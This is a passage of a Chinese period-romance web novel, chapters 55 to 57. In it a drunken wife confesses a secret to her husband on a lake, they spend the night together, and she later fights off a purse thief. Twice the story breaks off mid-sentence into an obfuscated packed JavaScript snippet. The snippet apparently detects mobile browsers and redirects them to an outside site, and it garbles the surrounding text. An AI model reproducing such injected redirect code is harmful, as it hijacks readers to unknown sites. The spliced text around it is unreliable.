“刘恪这个死混蛋!” 55. 坦白 “死混蛋”并不知道自己命快休矣,还得意洋洋地向曾正卿吹嘘自己的安排。 “今儿是婉婉的生辰,我特意为她备下一份大大的惊喜,保准她见了高兴!” 见曾正卿只顾着低头品茶,压根儿不理会他,刘恪暗叹他的不通风情,不了解自己此举的伟大之处,只好主动揭开谜底,神秘兮兮地说道:“我特意给婉婉她们定了艘游船,待会儿她们便一同登船去。船上不仅放了备了丰富的酒宴,还有歌舞助兴。吃喝玩乐一应俱全,她们能热热闹闹快活一整晚呢。” 他慢条斯理地往椅子上一坐,翘起二郎腿,腿还忍不住轻轻晃荡着,语重心长道:“元柏呀,不是我说,这夫妻相处的学问可深着呢!你现在新婚不过半年,也就算是刚进门没多久,学无止境啊!” “兄弟,我看你是个可造之才,就在我身边耳濡目染,定然进步飞快。”刘恪志得意满,意思很明显,碰上他这个朋友,曾正卿算是撞了大运了。 曾正清对于这位“师父”已经半信半疑。上次他与青朵闹矛盾,便是听了此人的指点,是又写诗又送礼,结果“文不对题”,写的诗被说是“酸诗”;送的礼被认为是嘲讽,经此一遭,他对对方那些所谓的“妙招”,实在是不敢恭维。 他不为所动,淡淡应付道:“嗯,真厉害。只是我记得,前些前些日子我生辰时,你为我庆贺也是在船上,恭直兄对船情有独钟啊!” “这如何能相提并论?”刘恪急了,他食指弯曲,敲了敲桌子反驳道,“这完全是小巫见大巫,小船见大船!” “你我先前那船,只能说是一叶扁舟,她们今日可不一样,我今天就让你开开眼! “别说我只定了一家班子来歌舞助兴。便是在添上两家、三家,也照样跳得开!” 正说着话,一丫头冲过来,气喘吁吁地喊道:“二少爷,听说二少奶奶她们定了什么满春楼所有小倌,这就要上船了呢!” “嘿!就算加上满春楼的小倌也……等会儿!你说什么?”刘恪说到一半,忽觉不对,笑容僵在脸上,“小满,这话可不能瞎说,你从哪儿听来的?” “这事儿我哪敢瞎说呀!二少奶奶因为……因为二爷花三千三百三十三两买画,又不告诉她的事生气,本身连爷订的船都不想去了,”小满觑了刘恪一眼,见他放下翘起的二郎腿,满脸心虚,继续道, “但好友栾夫人劝她说,越是烦闷的时候,就越得给自己寻些乐子解闷才行。还替二奶奶打发人去满春楼,要请一群年轻小倌上船作乐……” “啪!”刘恪怒火冲天,照着桌子猛拍一掌,不料劲儿使狠了,震得手发麻。他一边甩手,怒到:“栾凤鸣她自己就是个不安分的!我知道她是那里的常客,她想找小倌就去找,拉着我家婉婉做什么!” 曾正卿的茶碗重重落在桌上,起身就往外面走,冷冷道:“还废什么话,赶紧去把人接回来是正经!我夫人……” 我夫人还是一个不通人事、天真无邪的小姑娘呢! 若是那些不三不四的人,说出了什么不堪入耳的淫词浪语,让她如何自处?曾正卿断不愿让她沾染半分污浊! 刘恪果然是个不靠谱的,什么夫妻之道过来人,都是自己加的名堂,至此,曾正卿对此人仅有的“半信”也无。刘恪大言不惭,说让他开开眼,这回可好,直接“开”到青朵面前去了! * 青朵今日真是大开眼界。 今日船上的宴席,每一位夫人独坐一桌,只她是两人一桌。 她望向坐在自己身侧的男子,茫然无措。至于他为什么坐到自己身边来,她还是有些发懵。 那个叫栾凤鸣的姐姐,本来打算叫一群小倌,每位夫人配一个,但其实除了她自己,其他人都没有需求。于是只她自己叫了个常伴,名为灵秋。 灵秋躬身众位夫人见礼。他身得极瘦,却容貌昳丽,一双眼睛像是一对钩子,抬脸扫向大家的片刻,就叫人脸颊绯红,垂下目光不敢与他对视。 青朵对此无动于衷,心想:这麻杆儿好没意思,还好有喜欢他这一款的栾姐姐,若天下女子都跟自己一般喜好,灵秋岂不是要饿死? 想到这儿,她忍不住“哦!”的一声长叹,叹服于老天爷的精妙安排。 谁料栾夫人听她一声惊叹,误以为她对灵秋感兴趣,当即打趣道:“原来青朵妹妹也和我有一样的喜好,倒也难怪,灵秋斯文雅致,和你家夫君也有几分相似呢。”说罢,不由分说地招呼灵秋:“去到青朵妹妹身边一坐。” 青朵见灵秋应声而起,朝着她走过来,急得连连摆手叫道:“不不不不不!不是这样的!我……”话还没说完,灵秋已经挨着她坐下了,端着酒杯笑道:“灵秋敬夫人一杯。” “好好好好好。”青朵一叠声地应道,小啜一口,惊讶的发现,这酒入口甘甜香醇,一点儿酒的辛辣也无,真就像自己在露浓家喝的蜜水一样。想来不是烈酒,于是一饮而尽。 青朵为了晚上这顿大餐,午饭都没有多吃。更没料到的是,这顿饭竟然要在船上时享用,事实证明,这一切不负期待,光是餐前的水果干盘,蜜饯腊味,就叫她垂涎欲滴。至于砂锅炜鹿筋,五香仔鸽,鳝鱼炒鲎这些硬菜,更是佐酒绝妙搭配。 虽然饥火烧肠,但身边坐着个灵秋,不禁别扭至极。她委婉地请他回到栾夫人身边去,那厮居然露出一副委屈的样子:“夫人可是不喜欢灵丘?” 是不喜欢。 青朵打量灵丘一番,心里嘀咕道,这人与卿卿哪里相似了!这瘦瘦弱弱的模样,像是一株细柳,不消说是朱熠,自己稳稳扎个马步,也能将“它”倒拔! 他为自己布菜时,也是一副妖妖娆娆的样子。挨着她的右侧手臂,霎时间起了一层密密麻麻的鸡皮疙瘩。青朵心里避之不及,嘴上却难以说出狠话,唯恐将这“小柳树精”吹倒,含糊道:“不必不必,我自己能吃,你去伺候别人吧!” “原来是这样,夫人尽可放心,是栾姐姐让我来伺候你的,我自然要把你伺候舒服。”灵秋偏不信,这世上有人见了他还能做到毫无波澜,目光带着勾人的魅惑,痴痴缠缠往青朵脸上抛。 青朵叹了口气,他可别伺候了,他越伺候自己越不舒服。她恹恹地夹起一块鳝鱼肉塞进嘴里,边嚼边自我开解:往好里想,自己少吃点,省得又增添赘肉。念及此,她低头看看自己的身段,又转头偷瞟“小细柳精”,默默地将面前盘子往对方那边推:“喏,你这么瘦,还是多吃些长膘吧!” 灵秋:“……多谢夫人赏赐。” 青朵可是来赴宴的,并没有保护“树苗”的责任。她见灵秋粘得紧,便稍稍向左挪动身体,想与他保持一定距离。可她往左挪,“小细柳精”也跟着往左挪;她挪两下,他也亦步亦趋,跟着挪两下。这人再跟下去,青朵都要被挤去另一张桌了。 不过去另一张桌也不错,她瞧了一眼旁边的李妙婉,她正闷闷不乐独自饮酒,于是端起酒杯,提着筷子,索性蹭到她桌上。回头瞧一眼“小细柳精”,看他呆滞地望向自己,青朵露出对他唯一的笑脸。 可转过身看到李妙婉郁郁寡欢,青朵感到有些愧疚。 “妙婉姐姐……”她低声道,“对不起,本来是你的生辰,都是因为我一句话惹你不开心。” 李妙婉马上道:“你不必道歉,你哪里有错?错的是那家伙!真正让我生气的,是他跟我保证过,不再肆意购买书画,挥霍钱财。没想到,自己毁了约不说,居然还撒谎骗我!哼,一想到这些我就心烦意乱,这死混蛋,我再也不想搭理他了!” 青朵听她说前半句,心想确实错不在自己,正点着头,她后几句话冒出来,自己万万不能同意他们夫妻隔心,又连忙开始摇头:“妙婉姐姐,再精明的人,偶尔也难免做些糊涂事。这或许就是刘大哥做的糊涂事。” 何况刘大哥看起来憨厚有余,精明不足。 “你若是把话跟他说开,他下次还这般行事,你再不理他也不迟。若是头一遭,还是给他一次改过的机会吧!毕竟人无完人嘛!” “我最讨厌夫妻之间你欺我瞒。他当时实在想要那幅画,若是能与我商量一番,我未必不会同意。可他偷偷行事,骗我至今,我还怎么信任他?”李妙婉越说越气,将杯中酒一饮而尽。 良久,没等来青朵的劝慰,她偏头一瞧,青朵端着酒杯,看着远方发呆,不知在想什么。她疑惑道:“青朵?” “哦!”听到有人唤她,青朵宛若大梦初醒,她望向李妙婉,嘴唇嗫喏了半晌,一个字儿也没说出来。目光也慢慢的垂落下去,最终落到自己端着酒杯的手上。 李妙婉见她一脸忧色,急忙问道:“青朵,你怎么了?” “我……”青朵呐呐道,“妙婉姐姐,其实……我也有事情瞒着卿卿,就是我夫君。他若是知道了,心里定然也会生气的吧?可我更怕,他会不会像你一样,再也不理我了呀?” 林妙婉一怔,随即劝她道,“青朵,我不知道你说的究竟是何事,但你确实应该尽快告诉曾正卿,主动坦白,于等他日后自己发现,对于他来说,那感受可是天差地别。” “可是……我一点坦白的勇气都没有。如今我们相处和谐,如果他知道真相,我们关系破裂了,那该怎么办呢?”青朵担忧道。 上次她与卿卿大吵一架,虽然说是她生气单方面不理他,但其实自己心里也不好过。这种滋味实在不想再来第二次了。 妙婉握住她的手,说道:“妹妹,你有这种想法,在情理之中。但其实也是对于对方的不信任,不要去假设他会如何反应,那不过是你以偏概全的揣测罢了。” “就算对方的反应正如你所想,那也再正常不过。既然这件事你早晚都要面对,与其揣着谎言惶惶不可终日,还不如索性摊开,把它解决掉,以后不用再背负这份心事,岂不是更轻松自在?” 青朵完全被她说服了:“你说的有道理。就算卿卿骂我,那也是我应该承受的。” “我想,曾正卿未必会责备你。你肯鼓起勇气坦诚相告,他看的到诚意,或许也会去体谅你的为难之处。”李妙婉刚说完,忽然像是想到什么,掩口而笑,脸色也柔和起来。 “姐姐笑什么?”青朵疑惑道。 “我笑啊,我还劝你,说曾正卿会体谅你的心情。转头却突然想到,我家那位大抵也和你一样,怕把事情说出来,我会动怒,才悄悄干了这桩糊涂事。现在想想,他真是傻的可笑!” 李妙晚叹道:“唉!说到底,这夫妻之间的信任呢,还是靠双方一同维系的。总有一方能鼓起勇气,有敢于面对暴风骤雨的坦诚;另一方呢,也得有足够的包容和体谅。只有这样,才会有长久的信任。” 青朵听了她的话,偏着脑袋想了一会儿,摇头否定道:“不是的,姐姐你不要替我们说话了。我们就是犯错还怕被说,而你们就是因为过于信任我们,得知真相才会震惊不已。根本上还是我们的问题。” 林妙婉哑然失笑:“你这个妹妹,倒是心直口快、直率坦白。” 她脸上的乌云完全散尽了。青朵终于放下心来。多好的姐姐,明明自己还伤心动怒,但听说她有为难之处。便搁下自己的心结,反过来先安慰自己。青朵见李妙婉眼笑眉舒,自己也跟着嘻嘻笑起来。 这么一笑不打紧,身上另有一处也跟着咕咕直叫。青朵“哎哟”一声,不好意思地捂住自己的肚子,想要制止它,却没想到它叫得更响亮。李妙婉见状,赶紧提筷夹起一块羊肉放到青朵碗中,戏谑道:“妹妹快吃吧,是我耽搁你用餐,你肚子都抗议了呢!” 青朵尴尬地笑笑。她坐在妙婉身边,只觉得浑身轻松自在。并且,两人心头的症结既已解开,先前的负担都烟消云散。当下只是言笑晏晏,你一勺,我一箸,饱食珍馐,端起酒杯,浅酌慢饮。真是说不出来的惬意呀! * 曾正卿和刘恪赶到的时候,里面传来了欢快的乐声,其中掺杂着此起彼伏的掌声与欢呼声,想来,是刘恪先前说的那场歌舞已开始表演。 二人迈进船舱,竟无一人发觉。在场所有人的目光都集中在场中舞女身上。刘恪一踏入便望向主位,那席位竟是空的。曾正卿目光扫过席间,没有看到青朵的身影,正感到诧异时,无意间瞥见场边琴后端坐的李妙婉,怪不得刚才在外面就听到掌声连连。他抬起胳膊轻轻碰了碰刘恪,眼神示意他李妙婉的位置。 可青朵在哪儿? 场中舞女皆着一袭鹅黄色的罗裙,所有人在中央围成一圈,齐齐朝圆心俯下身去。当琴音“叮咚叮咚”响起时,舞女们便随着琴音一个一个,逐渐舒展起身躯,正如如花瓣一片片绽放。 在场的夫人们屏息敛声,紧紧地盯着场中央。便是刘恪与曾正卿也被这景象吸引,忍不住观赏起来。 在一阵激烈的刮奏声中,鹅黄色花瓣中央,一道身影冉冉升起,她不断旋转,并且随着旋律越转越快,裙摆层层荡开,宛若花蕊在众芳簇拥中悄然独立。 刘恪看她身影只觉得眼熟,等她旋转的动作慢下来,才看清她的长相,顿时吃了一惊,马上望向曾正卿,见他瞠目结舌,呆立原地,显然震惊极了。 与之相反的是观看的夫人们,她们兴奋地拍掌,有节奏喊叫道:“青朵!青朵!青朵!” 没错,那正是唐青朵。 * 青朵凭着一股蛮劲转了好几圈,已觉疲软无力。听到大家的呐喊,咬紧牙关,拼尽全力又转了几圈。可酒劲上头,整个身体沉甸甸的不听使唤,像个大酒坛子被随意搁置在地上,手忙脚乱地晃啊晃,最后朝着一侧直挺挺地倒下去。 周围惊呼声响起,其他人想赶过来扶住她已来不及,好在几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曾正卿将青朵抱上自己来时乘的乌篷船,想让她在船上平躺歇一歇。谁知一阵冷冷风吹过,青朵打了一个寒战,霎时从昏沉中惊醒。她茫然左右打量,才发现自己在狭小的船舱里,连忙撑着身子坐起来,眼中满是惊慌:“啊?这是哪儿?我们要去哪儿?” “你醉了。我先带你回去。”曾正卿简单答道,他解下衣服披在青朵身上。 青朵环顾一周,这船里只有他与自己两个人,又问道:“船夫呢?” “是我。”曾正卿松开绳索,摇起船尾橹板。 “你?”青朵震惊不已,眼见随着曾正卿左推右拉,这船竟真的缓缓动起来。她没想到他会划船,难以置信地望向水面,长长的水痕告诉她,船真的在动,并非是自己的错觉。 原来曾正卿与刘恪二人急着赶来,竟合力划着小船一路追赶。幸好那游船正停在湖心未动,才让他们得以快速赶到。这两位公子哥本对划船生疏得很,全凭着一股尽头,相互配合了许久,总算是摸着些门道,到如今竟也能划得有模有样,勉强算得上信手拈来。 天空没有云,只有月轮挂中天,它皎洁的光芒冲淡了暮色,几点疏星在不起眼的角落闪烁,像是湖中泛起的水波。夜晚的湖水也是暗蓝色,也有一轮月,静静地沉在湖水下面,周围细碎的浪花就如天上星。青朵裹着曾正卿的衣服坐在船上,一时恍惚,不知自己身在天上湖,还是湖中天。 远远游船上传来的声音,她纳闷道:“奇怪了!湖里哪来的牛叫?” “哦,那是刘家的老黄牛。”曾正清轻描淡写道。 青朵想了一会儿,才明白他说的是谁,忍不住哈哈大笑。她向船尾凑过去,把唐礼的底儿透了个干净。她哼哼道:“我爹说,说你们曾家都是老古板,不是这样的,他不知道,你可好玩了呢!” 她仰着脸冲着他嘻嘻哈哈:“卿卿呀!最喜欢你啦!嘻嘻!” 曾正卿听了她的撩拨之语,难免心中一动。可他心里清楚,夫人平时总是害羞,向来不肯无缘无故直白袒露心意,此刻这般毫无顾忌,将心里话尽说出口,显然是醉意上头。于是叹气道:“你究竟喝了多少?” 青朵愣住了,她抬眼望天,皱着眉头仔细回想,举起双手,分别伸着两根手指,还有另外一根半屈着,像是生出两个耳朵,她认真道:“两,两杯。” “仅两杯?”曾正卿只是重复道。 他的夫人果然不抗诈,只是没想到她会交代的这么快。青朵咽下口水,结巴道:“两,两壶。” 曾正卿看了她一眼,马上转过头,青朵听到他的笑声,那是摇橹的“吱呀”声,与水翻动的“哗啦”声,都遮盖不住的笑声,她确定自己没听错,于是不悦道:“你,你笑什么?” 他他他的笑声怎么更大了?讨厌! 青朵拽着他的胳膊左右晃,不依不饶气恼道:“你你太过,过分了!笑,笑什么?” 曾正卿笑意盈盈答道:“绒绒一只兔,端坐舟中央。圆眸寻究竟,憨然叩心房。” 青朵懵懵地盯着他,好一会儿才反应过来,原来自己就是那只“憨兔”,意识到他含蓄诉衷情,顿时双手攥拳,抵在唇边低头暗笑,却不想嘻嘻的笑声还是传了出去。 曾正卿见她这幅样子,更是好笑,又觉得她灵动可人,恨不得搂在怀中亲吻,再也不放开。他放眼一瞧,不远处有一个芦苇荡,在月光下苍苍茫茫,于是调转方向,奔它而去。 船缓缓驶入芦苇丛,摇撸破水的声音惊得栖鸟扑棱棱飞起。曾正卿见两侧芦苇如密障般将两人挡住,才放下手中的橹,扯开青朵身上滑落的外衫裹住她,再将她紧紧抱在怀里,用自己的体温去温暖她微凉的身子。 月光从枝叶的缝隙里漏下来,在相拥的二人身上撒下斑驳碎影,四面八方的芦苇“沙沙”作响,那斑驳也随之摇曳着。 青朵抱着身旁的“暖炉”,心满意足。心头却突然闪过自己答应李妙婉的那件事,踌躇片刻,最终闷声闷气地说道:“卿卿……我想告诉你一个我的秘密……” “什么秘密?”曾正卿听出她的犹豫,在她额上亲了亲。 青朵抬起头望向他的脸:“你先答应我,你知道之后不许生气。不,你应该生气,但是,不要不理我……” 曾正卿低笑几声,温柔应道:“好,我不生气,也不会不理你。” 周遭明明空无一人,青朵却还是下意识抬手挡在嘴侧,曾正卿见她这模样,便心领神会地俯下身,将耳朵凑到她唇边。青朵附在他耳旁说了几句话。 说完之后,青朵目不转睛盯着他的神情,大气都不敢出。她心里忐忑不安,等待他的回应。 曾正卿扬起眉毛,淡淡道:“哦?只是这个吗?这我早就知道啊!” 56. 欢好 青朵瞠目结舌:“你你你怎么会知道?” “傻瓜。”曾正卿叹道,“和你相处这么久,若不知道你是怎样的人,我这二十年岂不是白活?” “你当然算不上传统的端庄淑女,可你活泼明丽,聪慧勇敢,待人一片赤诚。你也有你的动人之处啊!”曾正卿一口气说出她好多优点。 啊!青朵看向他的目光里闪烁着光芒。她当然知道自己好,她知道自己好得不得了,可当曾正卿毫不犹豫说出她的种种优点,就像天上的每一颗星星逐一被叫出名字,它们连成一片璀璨的星河,构成了更加闪闪发光的自己。 她握住他的手,感动道:“原来我在你眼里也这么好!谢天谢地!我以前曾担心你更喜欢那一款,还费尽心思装大家闺秀呢!” 曾正卿笑了两声:“那时我何曾想到你是在扮大家闺秀?我只当你古灵精怪,想出什么新鲜把戏,可我又猜不透你的用意。” 什么?新鲜把戏?她装扮大家闺秀,却被他认为是“新鲜把戏”?这是对她引以为傲的演技最大的侮辱! 青朵顿时泫然欲泣:“你骂人好难听!” 他竟然还笑!她一脸不悦甩开他的手。 曾正卿连忙反握她的,解释道:“是我愚钝。你素来坚守自我,却肯为我收束本性,一定很辛苦,这份情意我一直记在心里。” “不是的!”毕竟他刚夸过自己“待人赤诚”,青朵老实巴交道,“我那时是图你钱财,得好好表现才能留下来嘛!” 曾正卿忍俊不禁,笑道:“原是我自作多情了!这样看来,你一直秉持本心,遵循内心的选择,不曾变过。” 他的目光像绸缎一样,软软落到自己身上:“阿照,我喜欢的,从来都是最真实的你。” 温柔的声音在耳边响起,青朵怔怔与他相望,一时竟失了神,连接下来要告诉他的事都忘却了。 浑身的血液汹涌起来,连带着心跳也失了常。 青朵整个人晕晕乎乎的,不知是喝了酒的缘故,还是被他夸赞的缘故,亦或是,一直以来,他都欣赏她的奇思妙想,体惜她的不拘小节,更将她毫无遮掩的真实自我,视若珍宝。 她凝视着曾正卿的脸庞,只觉他皎如霜辉,温如玉粹,心里说不尽的喜欢。 还要说什么来着? 青朵的身子不由自主往前倾,又往前倾。目光从他的眉峰滑落到眼眸,最后落到唇上。她咽了咽口水,酒精在血脉里奔走、发酵,在四肢百骸里滚滚发烫。 热,真热啊!她口干舌燥,烦闷地拉扯自己的领口,这芦苇荡里密不透风,密不透风,密不透…… 不透? 不透…… 她想起自己要说……要做什么了。 “真好。”右手抚上他的脸,她呓语着。突然一个探身,吻住他的唇。 像燧石碰撞,火花接二连三迸发,炸开又散落,贪婪舔舐周遭一切。火光熊熊,带着灼人的温度,炙烤整个世界。灰的,蓝的,白的,所有色彩都被驱逐,金红色翻腾—— 夜晚霍然明亮。 天与地颠倒。 “咚!”小船震荡。 “你……确定要在这儿?”曾正卿气息不稳,向身下人求证。 爹说的没错,曾家人是有些古板。 青朵不由分说捧住他的脸,带着几分急切将他扯下,封住他的“啰嗦”。 湖水悠悠,船身摇荡,青朵的一颗心,终于稳稳系在他身上。 * 青朵踏进水中,那水便如温柔的臂弯,将她满满拥住。她很快就察觉,这次沐浴与以往的不同。伸手摸去,触摸不到一丝依靠的地方;放眼望去,竟然也看不到边际。更奇怪的是,她不必游动,整个人就浮在水面上,轻飘飘的。 不知何时,身体温暖起来,甚至能感受到身侧水流的微凉,可漫过来的水波有一种她渴望的温度,她凭着一股本能,迎着水波的来处游去。越往前,越暖和。是的,正午的湖水与夜晚的不同的,是有太阳照射的缘故。当这股暖与她身上带来的凉轻轻碰撞,她浑身一颤,可当暖意遍布全身,一股欢喜流淌出来,于是舒舒服服地坦开。 花香像雾一般笼罩在上空,她惬意地享受着。突然刮了一阵风,凉飕飕的,她下意识卷起身子避风,冷不丁看到自己真实的样子,碧绿碧绿的,恍然大悟。 原来我是一片荷叶呀! 她接受了,毫无阻碍地接受了。这就是我的“青”,可我的“朵”呢?我的“朵”在哪儿呢? 花香弥漫,她仰头东看西瞧,不断寻找。清清幽幽的花香,无处不在,似乎近在咫尺,可又寻不着。她找啊找啊…… …… 青朵做了好长一个梦,梦里她在找荷花,梦只是梦,四肢却真的又酸又胀,这种寻找的梦最累人了!她闭眼伸手按摩后颈,心里冒出一个念头:唉!船上真是不舒服! 等等! 船上? 哦,那是梦。 不!那不是! 那是?! 她停下手上的动作,猛地睁开眼睛,昨夜的交颈缠绵宛然入目,吟哦呢喃历历在耳,而自己扑过去的身影,更如海水倒灌,冲破她全部羞耻防线…… 芳晴正指挥院子里的小丫头们搬花盆:“轻点儿轻点儿!仔细着!这株朱砂桂珍贵着呢!” 屋里突然传来水壶烧开般尖锐鸣响:“啊——” 小丫头们被突如其来的尖叫声吓了一跳,有几个手一抖,花盆顿时往下坠,还好旁边芳晴反应快,连忙托住盆边。几人小心翼翼把花盆放在地上,心里一阵后怕,抚着胸膛舒气,忽然分别想起刚才屋里青朵的尖叫,忙不迭地往屋里跑。 “少夫人!少夫人!” 他们跑到床边,却没看到少夫人,倒是看到一坨“被团”,瑟瑟发抖。 几人你瞧瞧我,我看看你,都不知道怎么办才好,最后所有人望向芳晴,毕竟她是少夫人的贴身侍女。 芳晴上前一步,但是不管她怎么问话,青朵都不回答。没办法,她向其他人使个眼色,丫头们合力又是拽又是拖,终于拔出一颗熟透的“萝卜”。 青朵满脸通红,抬头一看到周围这么多人,一声惊呼,又掀起被子缩了回去。 芳晴隐隐猜到是怎么回事,毕竟昨天少爷抱少夫人回来时,少夫人的发髻和自己给她梳的完全不一样,她马上让其他丫头都出去,俯下身子道:“我打发她们出去了,少夫人,你到底怎么了呀?” “被团”不抖了,青朵缓缓从里面钻出来,看了一眼周围果然没有人,一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147746|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱住芳晴,喊着:“我不是少夫人!” 甚至带了哭腔:“我是老色鬼啊——” * 男子侧身而坐,外袍松松散散落至腰迹,紧实的腰线处缀着一颗红痣,醒目得让人挪不开眼。 青朵感到指尖发烫,那股热意顺着臂膀疯了似的往上窜,很快就烧到脸上,火辣辣的。 自从她起了用画笔记录两人生活的念头,便一直坚持勾勒两人相处的点滴场景,昨日那一幕,刚画了一个卿卿的侧身,难以忽视的悸动便缠上心头,让她再难落笔。 画中那人眼角眉梢的缱绻情韵,似乎化成喘息落在自己的耳边。 青朵闭上眼睛。 这事早晚会发生,她早就有心理准备,即使她早就发觉自己对他存有冲动,但在清醒的时刻,顶多也就是身体相拥。像这般不管不顾地冲上去……她始料未及,如今茫然无措。 她该怎么面对曾正卿?在他发现自己不是贤淑女子之后,又让他发现自己另外一个特性—— 饥渴。 简直是直接跳到另一个极端。 青朵捂住脸,内心咆哮着: 可耻啊,可耻! 她抓起桌上的画纸,脸颊涨得通红,抬手就要将它撕个粉碎。可刚触及画纸,目光落到画上时,心头却蓦地一软,生出几分不舍来,从前她也画过动情的男女,那时不过是照猫画虎。如今识得此中意趣再次落笔,那眉眼中的情愫,情真意切,令人心旌摇荡,与往日截然不同。 可这东西万万不能留在家里!若是被卿卿无意发现,自己不仅扑了他还画下来…… 天! 青朵忽地想起,上次卿卿在马车上提过,守真堂这些年能站稳脚跟,背后恐有大人物撑腰,曾家书铺与之争斗恐有关门的风险,自己当时还夸下海口,要靠卖画来养他。又想起先前以梦游仙徒弟的名头,画卖了一两银子。撕了就白瞎了,等卖了还能赚点钱。她当即决定要把这幅画卖出去。 幸好方才只画了他的侧身,其他的还没有完成,她索性将整个背景都改了,变成一幅美男入浴图。可画完之后,脸上又红又烫,热意仍未褪去,她哪里还敢再多看一眼!连忙卷了画轴,便往唐礼那里跑,托珠姨帮忙把画卖掉,还千叮咛万嘱咐,让她万万不可打开来看。 青朵先分出一部分钱给珠姨,算作酬谢,剩下的则全部收进荷包里,一边走,一边左右抛着玩儿,心里却在盘算:一会儿到底是去露浓姐那里,还是直接回家呢?回家的话,她又怕看到曾正卿。以她现在的情况,实在不好意思见他。这么一想,最后还是决定去找露浓姐,甚至今晚都想住在她那儿,不回去了。 她刚把荷包系在腰上,忽然感到有人从身旁掠过,自己也被一股力量带的踉跄了两步,她低头一看,那人拽着荷包,荷包带子眼见要被扯断,他马上就要得手了。 抢钱的!青朵吓出一身冷汗,下意识拽住荷包大喊道:“抓贼啊,抓贼啊!抢劫啦!” 那人身子不高,和青朵差不多,但却至少有两个青朵那么壮。他唯恐有人过来帮她,拽着荷包使劲拉扯。青朵弯下身子,拼命往后坐,即使自己被他拖拽向前,脚底与地面摩擦“”沙沙”直响,她也死活不肯松手。 那里面装的可是卿卿的“卖身钱”! 57. 应对 两人僵持着,青朵身后忽然传来奔走的脚步声,那人一惊,抬眼去看,一晃神儿,手上的力道卸了不少。青朵瞄准时机,抡起拳头一拳锤到他脸上。那人“哎呦”一声,一只手捂脸,另一只手还攥着荷包不放,青朵毫不客气照着他的脸“咣咣”又是两拳,一拳比一拳用力。 “混蛋,敢抢你姑奶奶我的钱!” 那人一声惨叫,双手捂着伤处,后退几步,歪倒在地上。他万分没有想到,一个看起来弱不禁风的小娘子居然会拳法,甚至还有这么大力道,本以为挨几下不妨事,可现在却躺在地上,疼得左右打滚儿。 青朵立在原地不动,她呆呆看着地上打滚的贼人,才有了一种实感。 我把他打倒了?我竟然把他打倒了! 她张大了口,难以置信地看着自己的拳头,那时候还没觉得,此时停下来,那股疼痛像植物在春天复苏了一般,越来越明显。 可她顾不上痛,她激动极了。 唐青朵! 你好了不起! 她更是下定了决心:朱家拳法了得,我要跟着朱大哥学更多的功夫! “唐青朵!抓住他!快抓住他!” 身后有人喊她的名字,青朵回头一看,那居然是朱毅,他和几个人朝她跑来,青朵迫不及待要分享好消息,她嚷嚷道:“朱熠!朱熠!我把他打倒了!用的是你教我的拳法!” 朱熠气急败坏指向前面:“他跑了!你倒是抓住他啊!” “哦,抓住。”接收到信息的青朵转过身,往地下一看,那贼早就爬起来跑了,青朵拔腿欲追,朱熠他们已经跑到身边,直接掠过她,他卯足劲头疾冲几步,缩短距离,凭着一股冲劲猛地跃起,那贼听到风声刚要回头,就被扑倒在地。 嚯!行云流水,一击必中,周围百姓忍不住为他鼓掌喝彩,唯青朵颇为朱熠遗憾,可惜啊可惜,露浓姐不在此地,无法欣赏到他的英姿。 朱熠吩咐其他人捆了贼人,吩咐他们把人带回去,抬眼望见青朵小跑过来,满脸崇拜之色,心里很是得意,但又不想显露出来,下巴冲她一点,说道:“你这丫头!刚才叫你捉住他,你倒好,光顾着和我炫耀!” 接着像长辈那样训她:“喂!有人抢你钱你就给他,万一是一个狠角色,就你那三脚猫的功夫,岂不是危险?下次不许拼命了,听到没有?” 青朵不满道:“你自己听听你说的话!一会儿埋怨我不抓贼,一会儿又说让我自保,我是抓贼还是自保呀?” “不过……”她上下打量朱熠身上穿的皂衣,伸手一扯他的腰牌,奇道:“你怎么穿了这身?” 他挺起胸膛自豪道:“这你就不知道了吧?我过了筛选,现在你朱大哥不再是无所事事的游民,而是一名弓兵,有守护衙门,巡缉罪犯的职责,今日正好是我巡逻,就碰上你这小倒霉蛋。” 朱熠以自己一身拳脚功夫为傲,但当心爱之人遭歹人掳走时,是那位曾公子和姐夫一个提供线索,一个步步追查布局,这才将人平安寻回。若是没有他们,他自己并不能找到露浓,就算找到了,也会像当时那样被困在当地,无疑是自投落网。 他第一次清醒认识到,在真正危机面前,自己所拥有的,竟是如此微小。 那夜,他瞧着露浓映在窗上的影子,又发现自己与其他三人的差距,愈发意识到,自己空有一身蛮力,却无用武之地,是不能带给露浓一份周全安稳的生活的,他是该做些什么。 他冥思苦想,日日琢磨自己能做些什么,后来看到姐姐和姐夫幸福美满的模样,忽然茅塞顿开,他应当像姐夫那样,有一份能立住脚跟的事业,这是担起责任的底气,立业方能安家。正值县衙征募,他便应征而上。 朱熠正色道:“我是凭借自己本事考上的,可不是因为我姐夫是县尉。除了上次露浓姑娘的事,我可没依靠过他什么!” 青朵差点喷笑,谁也没提起这话茬,他自己倒主动说出来,看来是相当在意,生怕别人说他攀亲。 她见识过朱熠的身手,他确实有几分真本事。青朵也相信他是凭借自己的本领。 “真厉害!”青朵由衷赞道,“露浓姐知道吗?” 朱熠却突然扭捏起来,他摸摸后脑勺:“我还没告诉她呢,哎,也没什么好特别说的,我又没做出什么功绩来。” 青朵拱手笑道:“那就祝大哥早日高升,早点成为我的‘十分’姐夫。” 朱熠瞪了他一眼,她又把他之前的话拿来当笑话说! 不过……心里有几分忐忑…… 如今,他在露浓心里,也该有“二分”了吧? * 晚上,青朵打发人告诉家里,自己住在露浓处,她有一个很恰当的理由,明天就是书商行会,曾正卿要带着露浓同去,他计划那时揭露守真堂的真面目。青朵的借口就是,明天是露浓姐的大日子,她太紧张了,自己要陪她放松一下。 